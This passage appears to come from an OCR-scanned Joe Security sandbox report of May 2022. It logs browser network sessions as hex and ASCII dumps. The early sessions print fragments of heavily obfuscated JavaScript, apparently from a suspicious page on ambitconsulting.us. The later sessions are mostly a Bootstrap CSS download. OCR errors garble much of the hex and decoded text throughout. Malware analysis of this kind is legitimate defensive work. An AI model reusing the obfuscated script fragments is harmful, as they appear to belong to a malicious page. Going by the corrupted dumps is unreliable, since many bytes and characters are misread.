7\x35\x56\x64\x49\x5a\x62\x59\x6¢\x4 7", \x6€\x38\x6f\x48\x57\x35\x6 1\x36\x 70\ 71", '\x57\x4f\x5a\x64\x50\x4 3\x6
b\x42\x57\x52\x72\x49','\x79\x65\x4

Data Raw: 5¢ 78 35 37 5¢ 78 34 66 5¢ 78 37 31 5¢ 78 34 65 5¢ 78 35 37 5¢ 78 33 36 5¢ 78 33 39 5¢ 78 36 32 5¢ 78 35 37
5c 78 33 34 5c 78 34 37 27 2c¢ 27 5¢ 78 34 32 5¢ 78 34 33 5¢ 78 36 66 5¢ 78 35 30 5¢ 78 36 37 5¢ 78 36 35 5¢ 78 35 61
5c 78 36 33 5¢ 78 34 64 5¢ 78 37 31 27 2c 27 5¢ 78 36 36 5¢ 78 37 33 5¢ 78 35 37 5¢ 78 33 35 5¢ 78 37 35 5¢ 78 35 33
5c 78 36 62 5¢ 78 36 66 27 2c 27 5¢ 78 37 36 5¢ 78 33 32 5¢ 78 32 66 5¢ 78 36 34 5¢ 78 34 66 5¢ 78 34 33 5¢ 78 36 66 5
€ 78 37 36 5c 78 35 37 5¢ 78 33 37 5¢ 78 37 39 27 2c 27 5¢ 78 37 61 5¢ 78 34 33 5¢ 78 36 66 5¢ 78 33 34 5¢ 78 37 38 5¢
78 34 37 5¢ 78 37 61 5¢ 78 34 62 27 2¢ 27 5¢ 78 37 61 5¢ 78 35 33 5¢ 78 36 66 5¢ 78 35 33 5¢ 78 36 36 5¢ 78 36 34 5¢
78 34 66 5¢c 78 34 34 27 2c 27 5¢ 78 36 36 5¢ 78 36 64 5¢ 78 36 66 5¢

Data Ascii: \x57\x4f\x71\x4e\x57\x36\x39\x62\x57\x34\x4 7", \x42\x43\x6f\x50\x6 7\x65\x5a\x6 3\x4d\x 71", '\x66\x 73\X57\x35\x
75\x53\x6b\x6f','\x76\x32\x2f\x64\x4f\x43\X6f\X 76\X57\x37\x 79", \x7a\x4 3\x6f\x34\x78\x4 7\x7a\x4b', \x 7a\x53\x6f\x53\x6 6\
x64\x4f\x44',"\x66\x6d\x6f\

Data Raw: Od Oa
Data Ascii:

Data Raw: 34 30 30 30 0d Oa 5c 78 34 62 5¢ 78 35 37 5¢ 78 35 30 5¢ 78 35 37 5¢ 78 37 35 5¢ 78 36 33 5¢ 78 37 31 27 2¢
275c 78 37 32 5¢c 78 34 64 5¢ 78 34 36 5¢ 78 36 34 5¢ 78 34 61 5c 78 34 33 5¢ 78 36 66 5¢ 78 33 32 5¢ 78 35 37 5¢ 78
33375c 7834 62 27 2c 27 5¢ 78 36 34 5¢c 78 33 38 5¢ 78 36 66 5¢ 78 37 32 5¢ 78 37 35 5¢ 78 37 31 5¢ 78 34 62 5¢ 78
333827 2c 27 5¢ 78 36 37 5¢ 78 36 64 5¢ 78 36 62 5¢ 78 36 34 5¢ 78 35 37 5¢ 78 35 32 5¢ 78 34 37 5¢ 78 35 38 5¢ 78 3
738 5c 78 34 37 27 2c 27 5¢ 78 37 32 5¢ 78 33 38 5¢ 78 36 66 5¢ 78 35 33 5¢ 78 36 32 5¢ 78 34 37 5¢ 78 34 37 5¢ 78 34
3227 2c 27 5¢ 78 35 37 5¢ 78 35 31 5¢ 78 35 32 5¢ 78 36 33 5¢ 78 35 33 5¢ 78 36 64 5¢ 78 36 62 5¢ 78 36 63 5¢ 78 36
38 5c 78 34 33 5¢ 78 36 66 5¢ 78 36 62 27 2c 27 5¢ 78 37 31 5¢ 78 33

Data Ascii: 4000\x4b\x57\x50\x57\x75\x63\x71",'\x72\x4d\x46\x64\x4a\x43\x6f\x32\x57\x37\x4b', \x64\x38\x6\x 72\x 75\x7 1\x
4b\x38','\x67\x6d\x6b\x64\x57\x52\x47\x58\x78\x4 7',"\x72\x38\x6f\x53\x62\x4 7\x4 7\x42',"\x57\x51\x52\x63\x53\x6 d\x6b\x6 C\
x68\x43\x6f\x6b’, \x71\x3

Data Raw: 33 5¢ 78 36 35 27 2c 6¢ 2d 30 78 31 34 30 2c 6d 2d 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 33 31 5¢ 78 33 30 5¢ 78
363227 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 62 69 28 69 2c 6a 2¢ 6b 2¢ 6¢ 2c 6d 29 7b 72 65 74 75 72 6e 20 62 63 28
6¢ 2c 6b 2d 20 2d 30 78 31 31 66 2c 6b 2d 30 78 64 37 2c 6¢ 2d 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 36 31 5¢ 78 36 31 27
2c 6d 2d 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 33 31 5¢ 78 33 31 5¢ 78 36 31 27 29 3b 7d 69 66 28 6d 5b 62 69 28 27 5¢c 78
3330 5c 78 37 38 5¢ 78 33 36 5¢ 78 36 33 5¢ 78 33 36 27 2c 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 33 35 5¢ 78 36 31 5¢ 78
333027 2c 30 78 35 66 32 2c 27 5¢ 78 37 32 5¢ 78 34 30 5¢ 78 37 34 5¢ 78 36 62 27 2c 30 78 37 39 37 29 5d 28 6d 5b
62 69 28 30 78 36 34 32 2¢c 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 33 32 5¢ 78

Data Ascii: 3\x65',1-0x140,m-"\x30\x78\x31\x30\x62"); }function bi(i,j,k,I,m){return be(l,k- -Ox11f,k-0xd7,l-\x30\x78\x6
1\x61',m-x30\x78\x31\x31\x61");}if(m[bi("\x30\x78\x36\x63\x36', \x30\x 78\x35\x6 1\x30",0x5f2, "\x 72\x40\x 74\x6b',0x797)]
(m[bi(0x642,"\x30\x78\x32\x

Data Raw: 0d Oa
Data Ascii:
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kBytes

Timestam
P transferred

2022-05-13 12:56:24 UTC 2341

Session ID Source IP
32 192.168.2.5
. kBytes
Ti t
fmestamp transferred

2022-05-13 12:56:24 UTC 2349

2022-05-13 12:56:24 UTC 2351

2022-05-13 12:56:24 UTC 2352

2022-05-13 12:56:24 UTC 2353

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49831

Direction

ouT

Data

Data Raw: 34 30 30 30 0d 0a 36 62 5c 78 37 35 5¢ 78 32 31 27 2¢ 30 78 37 36 35 2c¢ 30 78 38 62 30 2¢ 30 78 36 30 61

29 2b 62 72 28 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 33 36 5¢ 78 36 34 5¢ 78 33 32 27 2¢ 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78
3334 5¢ 78 33 39 5¢ 78 36 32 27 2¢ 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 33 37 5¢ 78 36 33 5¢ 78 36 33 27 2¢ 27 5¢ 78 33 3
0 5c 78 37 38 5¢ 78 33 38 5¢ 78 33 35 5¢ 78 33 30 27 2c 27 5¢ 78 37 33 5¢ 78 37 34 5¢ 78 33 38 5¢ 78 37 37 27 29 2b 62
6e 28 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 33 36 5¢ 78 36 32 5¢ 78 33 32 27 2c 27 5¢ 78 32 38 5¢ 78 34 36 5¢ 78 33 33 5¢
78353127 2¢ 30 78 34 61 33 2c 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 33 34 5¢ 78 33 39 5¢ 78 36 31 27 2c 27 5¢ 78 33 30
5c 78 37 38 5¢ 78 33 33 5¢ 78 33 36 5¢ 78 33 30 27 29 2b 62 72 28 27 5¢

Data Ascii: 40006b\x75\x21',0x765,0x8b0,0x60a)+br('\x30\x78\x36\x64\x32",'\x30\x78\x34\x39\x62","\x30\x78\x37\x63\x63'",’
\x30\x78\x38\x35\x30","\x73\x 74\x38\x77")+bn("\x30\x78\x36\x62\x32", \x28\x46\x33\x51',0x4a3, \x30\x78\x34\x39\x6 1", \x3
0\x78\x33\x36\x30")+br("\

Destination IP LR Process

Port
104.18.10.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1
Host: maxcdn.bootstrapcdn.com

Connection: keep-alive

Origin: https://ambitconsulting.us

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: text/css,*/*;q=0.1

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: style

Referer: https://ambitconsulting.us/jkadnmadiuya/quad/
Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:24 GMT

Content-Type: text/css; charset=utf-8
Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

CDN-PullZone: 252412

CDN-Uid: b1941f61-b576-4f40-80de-5677ach38f74
CDN-RequestCountryCode: DE
Access-Control-Allow-Origin: *

Cache-Control: public, max-age=31919000

ETag: W/"450fc463b8b1a349df717056fbb3e078"
Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT
CDN-CachedAt: 03/12/2022 01:19:41

CDN-ProxyVer: 1.02

CDN-RequestPullCode: 200

CDN-RequestPullSuccess: True

CDN-EdgeStorageld: 756

CDN-Status: 200

timing-allow-origin: *

cross-origin-resource-policy: cross-origin
X-Content-Type-Options: nosniff

CDN-Requestld: e44e9clcacc5326d16ch1166001daéeb
CDN-Cache: HIT

CF-Cache-Status: HIT

Age: 6220

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Server: cloudflare

CF-RAY: 70ab8ddlaf5a9bec-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Data Raw: 31 35 36 32 0d Oa 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73
3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 Oa 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32
3031 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32
303131 2d 323031382054 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65
7220 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f
62 6¢ 6f 62 2f 6d 61 73 74 65 72 2f 4¢ 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6¢ 75 65 3a 23 30 30
37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30

Data Ascii: 1562/*! * Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright
2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */:root{--blue:#0
07bff;--indigo:#6610

Data Raw: 37 65 31 34 3b 2d 2d 79 65 6¢ 6¢ 6f 77 3a 23 66 66 63 31 30 37 3b 2d 2d 67 72 65 65 6e 3a 23 32 38 61 37 34
353b 2d 2d 74 65 61 6¢ 3a 23 32 30 63 39 39 37 3b 2d 2d 63 79 61 6e 3a 23 31 37 61 32 62 38 3b 2d 2d 77 68 69 74 65
3a 2366 66 66 3b 2d 2d 67 72 61 79 3a 23 36 63 37 35 37 64 3b 2d 2d 67 72 61 79 2d 64 61 72 6b 3a 23 33 34 33 61 34
303b2d 2d 70 72 69 6d 61 72 79 3a 23 30 30 37 62 66 66 3b 2d 2d 73 65 63 6f 6e 64 61 72 79 3a 23 36 63 37 35 37 64
3b 2d 2d 73 75 63 63 65 73 73 3a 23 32 38 61 37 34 35 3b 2d 2d 69 6e 66 6f 3a 23 31 37 61 32 62 38 3b 2d 2d 77 61 72
6e 69 6e 67 3a 23 66 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6¢ 69 67 68 74 3a 23
66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d

Data Ascii: 7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:
#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--
light:#f8f9fa;--dark:#343a40;--
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Timestamp transferred Direction
2022-05-13 12:56:24 UTC 2354 IN
2022-05-13 12:56:24 UTC 2355 IN
2022-05-13 12:56:24 UTC 2357 IN
2022-05-13 12:56:24 UTC 2358 IN
2022-05-13 12:56:24 UTC 2359 IN
2022-05-13 12:56:24 UTC 2360 IN
2022-05-13 12:56:24 UTC 2362 IN
2022-05-13 12:56:24 UTC 2363 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 72 65 6d 7d 70 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65
6d 7d 61 62 62 72 5b 64 61 74 61 2d 6f 72 69 67 69 6e 61 6¢ 2d 74 69 74 6¢ 65 5d 2c 61 62 62 72 5b 74 69 74 6¢ 65 5d
7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6¢ 69 6e 65 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74
2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6¢ 69 6e 65 20 64 6f 74 74 65 64 3b 74 65 78 74 2d 64 65 63 6f 72 61
74 69 6f 6e 3a 75 6e 64 65 72 6¢ 69 6e 65 20 64 6f 74 74 65 64 3b 63 75 72 73 6f 72 3a 68 65 6¢ 70 3b 62 6f 72 64 65 72
2d 62 6f 74 74 6f 6d 3a 30 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6
74 2d 73 74 79 6¢ 65 3a 6e 6f 72 6d 61 6¢ 3b 6C 69 6€ 65 2d 68

Data Ascii: rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbrltitle]{text-decoration:underline;-webkit-
text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1r
em;font-style:normal;line-h

Data Raw: 68 65 72 69 74 7d 6¢ 61 62 65 6¢ 7b 64 69 73 70 6¢ 61 79 3a 69 6e 6¢ 69 6e 65 2d 62 6¢ 6f 63 6b 3b 6d 61 72
67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 7d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d
62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 6f 75 74 6¢ 69 6e 65 3a 31 70 78 20 64 6f 74 74 65 64 3b 6f 75 74 6¢ 69 6e 65 3a
3570 78 20 61 75 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6¢ 6f 72 7d 62 75 74 74 6f 6e
2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6¢ 65 63 74 2¢ 74 65 78 74 61 72 65 61 7b 6d 61 72 67 69 6e 3a
30 3b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74
3b 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d

Data Ascii: herit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;
outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:i
nherit;line-height:inherit}

Data Raw: 69 74 65 6d 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 74 65 6d 70 6c 61 74 65 7b 64 69 73 70 6¢ 61 79
3a 6e 6f 6e 65 7d 5b 68 69 64 64 65 6e 5d 7b 64 69 73 70 6¢ 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e
68 31 2c 2e 68 32 2c 2e 68 33 2c 2e 68 34 2c 2e 68 35 2c 2e 68 36 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68
36 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 69 6e 68 65 72 69
74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 63 6f 6¢ 6f 72 3a
69 6e 68 65 72 69 74 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 2e 68 32 2¢c 68 32 7b
66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 2e 68 33 2c 68 33 7b

Data Ascii: item;cursor:pointeritemplate{display:none}[hidden]{display:nonelimportant}.h1,.h2,.h3,.h4,.h5,.n6,h1,h2,h3 h
4,h5,h6{margin-bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h
2,h2{font-size:2rem}.h3,h3{

Data Raw: 37 66 66 39 0d Oa 31 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 7d 2e 62 6¢ 6f 63 6b 71
75 6f 74 65 2d 66 6f 6f 74 65 72 7b 64 69 73 70 6¢ 61 79 3a 62 6¢ 6f 63 6b 3b 66 6f 6€ 74 2d 73 69 7a 65 3a 38 30 25 3b
63 6f 6¢ 6f 72 3a 23 36 63 37 35 37 64 7d 2e 62 6¢ 6 63 6b 71 75 6f 74 65 2d 66 6f 6f 74 65 72 3a 3a 62 65 66 6f 72 65
7b 63 6f 6e 74 65 6e 74 3a 22 5¢ 32 30 31 34 20 5¢ 30 30 41 30 22 7d 2e 69 6d 67 2d 66 6¢ 75 69 64 7b 6d 61 78 2d 77
69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 61 75 74 6f 7d 2e 69 6d 67 2d 74 68 75 6d 62 6e 61 69 6¢ 7b 70 61
64 64 69 6e 67 3a 2e 32 35 72 65 6d 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65
72 3a 3170 78 20 73 6f 6¢ 69 64 20 23 64 65 65 32 65 36 3b 62

Data Ascii: 7ff91rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:80%;color:#6c757d}.blockquote-footer::
before{content:"\2014 \00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-co
lor:#fff;border:1px solid #dee2e6;b

Data Raw: 61 79 3a 66 6¢ 65 78 3b 2d 6d 73 2d 66 6¢ 65 78 2d 77 72 61 70 3a 77 72 61 70 3b 66 6¢ 65 78 2d 77 72 61
703a77 7261 70 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2d 31 35 70 78 3b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 2d
313570 78 7d 2e 6e 6f 2d 67 75 74 74 65 72 73 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 3b 6d 61 72 67 69 6e 2d
6¢ 65 66 74 3a 30 7d 2e 6e 6f 2d 67 75 74 74 65 72 73 3e 2e 63 6f 6¢ 2c 2e 6e 6f 2d 67 75 74 74 65 72 73 3e 5b 63 6¢ 61
73 73 2a 3d 63 6f 6¢ 2d 5d 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 70 61 64 64 69 6e 67 2d 6¢ 65 66 74 3a
30 7d 2e 63 6f 6¢ 2c 2e 63 6f 6¢ 2d 31 2¢ 2e 63 6f 6¢ 2d 31 30 2¢ 2e 63 6f 6¢ 2d 31 31 2c 2e 63 6f 6¢ 2d 31 32 2¢ 2e 63 6f
6¢ 2d 32 2c 2e 63 6f 6¢ 2d 33 2c 2e 63 6f 6¢ 2d 34 2¢ 2e 63 6f 6¢

Data Ascii: ay:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;ma
rgin-left:0}.no-gutters>.col,.no-gutters>[class*=col-){padding-right:0;padding-left:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.
col-3,.col-4,.col

Data Raw: 35 25 3b 66 6c 65 78 3a 30 20 30 20 32 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 32 35 25 7d 2e 63 6f 6¢ 2d 34
7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 33 33 2e 33 33 33
333333 25 3b 66 6¢ 65 78 3a 30 20 30 20 33 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 33 33 2e 33
333333333325 7d 2e 63 6f 6¢ 2d 35 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6C 6
578 3a30 20 30 20 34 31 2e 36 36 36 36 36 37 25 3b 66 6¢ 65 78 3a 30 20 30 20 34 31 2e 36 36 36 36 36 37 25 3b 6d
61 78 2d 77 69 64 74 68 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6¢ 2d 36 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d
66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 35 30 25 3b

Data Ascii: 5%;flex:0 0 25%;max-width:25%}.col-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-
width:33.333333%}.col-5{-webkit-box-flex:0;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-6{-
webkit-box-flex:0;-ms-flex:0 0 50%;

Data Raw: 37 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6¢ 2d 67 72 6f 75 70 3a 38 3b 2d 6d 73 2d 66 6¢
65 78 2d 6f 72 64 65 72 3a 37 3b 6f 72 64 65 72 3a 37 7d 2e 6f 72 64 65 72 2d 38 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d
6f 72 64 69 6e 61 6¢ 2d 67 72 6f 75 70 3a 39 3b 2d 6d 73 2d 66 6¢ 65 78 2d 6f 72 64 65 72 3a 38 3b 6f 72 64 65 72 3a 38
7d 2e 6f 72 64 65 72 2d 39 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6¢ 2d 67 72 6f 75 70 3a 31 30 3b 2d
6d 73 2d 66 6¢ 65 78 2d 6f 72 64 65 72 3a 39 3b 6f 72 64 65 72 3a 39 7d 2e 6f 72 64 65 72 2d 31 30 7b 2d 77 65 62 6b
69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6¢ 2d 67 72 6f 75 70 3a 31 31 3b 2d 6d 73 2d 66 6¢ 65 78 2d 6f 72 64 65 72 3a 31
30 3b 6f 72 64 65 72 3a 31 30 7d 2e 6f 72 64 65 72 2d 31 31

Data Ascii: 7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-8{-webkit-box-ordinal-group:9;-ms-flex-order:8
;order:8}.order-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-10{-webkit-box-ordinal-group:11;-ms-flex-
order:10;order:10}.order-11

Data Raw: 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6¢ 2d 73 6d 2d 36 7b
2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 35 30 25 3b 66 6¢ 65
78 3a30 20 30 20 35 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 35 30 25 7d 2e 63 6f 6¢ 2d 73 6d 2d 37 7b 2d 77 65 62 6b
69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 35 38 2e 33 33 33 33 33 33 25 3b 66
6¢ 65 78 3a 30 20 30 20 35 38 2e 33 33 3333 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 35 38 2e 33 3333 33 33 33 25
7d 2e 63 6f 6¢ 2d 73 6d 2d 38 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a
30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 66 6¢ 65 78 3a 30 20 30 20

Data Ascii: 667%;max-width:41.666667%}.col-sm-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-
sm-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-sm-8{-webkit-box-fle
x:0;-ms-flex:0 0 66.666667%;flex:0 O
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Data

Data Raw: 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6¢ 2d 67 72 6f 75 70 3a 31 30 3b 2d 6d 73 2d 66 6¢ 65 78 2d 6f
7264 65 72 3a 39 3b 6f 72 64 65 72 3a 39 7d 2e 6f 72 64 65 72 2d 73 6d 2d 31 30 7b 2d 77 65 62 6b 69 74 2d 62 6f 78
2d 6f 72 64 69 6e 61 6¢ 2d 67 72 6f 75 70 3a 31 31 3b 2d 6d 73 2d 66 6¢ 65 78 2d 6f 72 64 65 72 3a 31 30 3b 6f 72 64 65
72 3a31 30 7d 2e 6f 72 64 65 72 2d 73 6d 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6¢ 2d 67 72
6f 75 70 3a 31 32 3b 2d 6d 73 2d 66 6¢ 65 78 2d 6f 72 64 65 72 3a 31 31 3b 6f 72 64 65 72 3a 31 31 7d 2e 6f 72 64 65 72
2d 73 6d 2d 31 32 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6 72 64 69 6e 61 6¢ 2d 67 72 6f 75 70 3a 31 33 3b 2d 6d 73
2d 66 6¢ 65 78 2d 6f 72 64 65 72 3a 31 32 3b 6f 72 64 65 72 3a

Data Ascii: bkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-sm-10{-webkit-box-ordinal-group:11;-ms-flex-order:
10;order:10}.order-sm-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-sm-12{-webkit-box-ordinal-group:
13;-ms-flex-order:12;order:

Data Raw: 66 6¢ 65 78 3a 30 20 30 20 35 30 25 3b 66 6¢ 65 78 3a 30 20 30 20 35 30 25 3b 6d 61 78 2d 77 69 64 74 68
3a 3530 25 7d 2e 63 6f 6¢ 2d 6d 64 2d 37 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66
6¢ 65 78 3a 30 20 30 20 35 38 2e 33 33 33 33 33 33 25 3b 66 6¢ 65 78 3a 30 20 30 20 35 38 2e 33 33 33 33 33 3325 3b
6d 61 78 2d 77 69 64 74 68 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6¢ 2d 6d 64 2d 38 7b 2d 77 65 62 6b 69 74 2d
62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 66 6¢ 65 78
3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 63
6f 6¢c 2d 6d 64 2d 39 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a

Data Ascii: flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 O
58.333333%;max-width:58.333333%}.col-md-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%:;flex:0 0 66.666667%;max-
width:66.666667%}.col-md-9{-webkit-box-flex:

Data Raw: 64 2d 31 30 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 31 31 3b 2d 6d
73 2d 66 6¢ 65 78 2d 6f 72 64 65 72 3a 31 30 3b 6f 72 64 65 72 3a 31 30 7d 2e 6f 72 64 65 72 2d 6d 64 2d 31 31 7b 2d
77 6562 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6¢ 2d 67 72 6f 75 70 3a 31 32 3b 2d 6d 73 2d 66 6¢ 65 78 2d 6f 72 64
65 72 3a 31 31 3b 6f 72 64 65 72 3a 31 31 7d 2e 6f 72 64 65 72 2d 6d 64 2d 31 32 7b 2d 77 65 62 6b 69 74 2d 62 6f 78
2d 6f 72 64 69 6e 61 6¢ 2d 67 72 6f 75 70 3a 31 33 3b 2d 6d 73 2d 66 6¢ 65 78 2d 6f 72 64 65 72 3a 31 32 3b 6f 72 64 65
